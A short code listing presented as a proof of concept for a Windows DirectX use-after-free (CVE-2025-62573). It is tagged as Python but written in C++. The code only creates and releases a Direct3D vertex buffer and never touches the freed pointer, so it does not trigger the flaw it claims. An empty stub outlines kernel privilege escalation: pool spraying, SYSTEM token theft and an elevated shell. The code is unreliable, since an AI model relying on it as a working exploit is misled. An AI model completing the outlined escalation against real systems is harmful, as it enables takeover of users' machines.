The following code is for security research and authorized testing only.
python
// CVE-2025-62573 Windows DirectX Use-After-Free PoC
// This is a conceptual PoC for educational purposes only
#include <windows.h>
#include <d3d9.h>
#include <d3d11.h>
#pragma comment(lib, "d3d9.lib")
#pragma comment(lib, "d3d11.lib")
// Function to trigger the UAF condition in DirectX
void TriggerUAF() {
// Initialize Direct3D 9
LPDIRECT3D9 d3d = Direct3DCreate9(D3D_SDK_VERSION);
if (!d3d) return;
D3DPRESENT_PARAMETERS d3dpp = {0};
d3dpp.Windowed = TRUE;
d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD;
d3dpp.hDeviceWindow = GetDesktopWindow();
LPDIRECT3DDEVICE9 pDevice = NULL;
HRESULT hr = d3d->CreateDevice(
D3DADAPTER_DEFAULT,
D3DDEVTYPE_HAL,
d3dpp.hDeviceWindow,
D3DCREATE_SOFTWARE_VERTEXPROCESSING,
&d3dpp,
&pDevice
);
if (SUCCEEDED(hr) && pDevice) {
// Create and release resources to trigger UAF
LPDIRECT3DVERTEXBUFFER9 pVertexBuffer = NULL;
// Allocate vertex buffer
pDevice->CreateVertexBuffer(
1024,
D3DUSAGE_DYNAMIC,
D3DFVF_XYZ,
D3DPOOL_DEFAULT,
&pVertexBuffer,
NULL
);
// Trigger release condition
// In real exploit, this would involve specific timing
if (pVertexBuffer) {
// Release while holding reference
pVertexBuffer->Release();
// UAF: Access released object
// This would trigger the vulnerability
// In real scenario: pVertexBuffer pointer still used
}
pDevice->Release();
}
d3d->Release();
}
// Kernel exploitation primitives
void EscalatePrivileges() {
// In real exploit:
// 1. Spray kernel pool with controlled data
// 2. Trigger UAF to get arbitrary read/write
// 3. Locate and modify SYSTEM process token
// 4. Spawn cmd.exe with elevated privileges
}
int main() {
printf("CVE-2025-62573 PoC - Educational Use Only\n");
TriggerUAF();
return 0;
}